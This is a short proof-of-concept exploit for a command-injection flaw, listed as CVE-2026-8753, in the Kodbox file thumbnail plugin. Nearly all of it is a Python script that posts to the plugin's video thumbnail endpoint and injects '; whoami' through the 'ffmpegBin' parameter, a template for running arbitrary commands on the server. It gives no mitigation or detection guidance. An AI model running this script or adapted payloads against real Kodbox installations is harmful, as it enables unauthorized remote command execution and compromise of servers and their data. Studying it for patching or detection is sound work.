CVE-2026-8753: Kodbox文件缩略图插件远程命令注入漏洞

import requests # Target URL (Example, adjust based on actual deployment) target_url = "http://target-ip/index.php/plugin/thumb/video" # Attacker controlled command payload # The vulnerable parameter 'ffmpegBin' is manipulated to inject system commands payload = "/usr/bin/ffmpeg; whoami" # Data to send (Structure might vary depending on the actual request implementation) data = { "path": "/path/to/video.mp4", "ffmpegBin": payload } try: response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")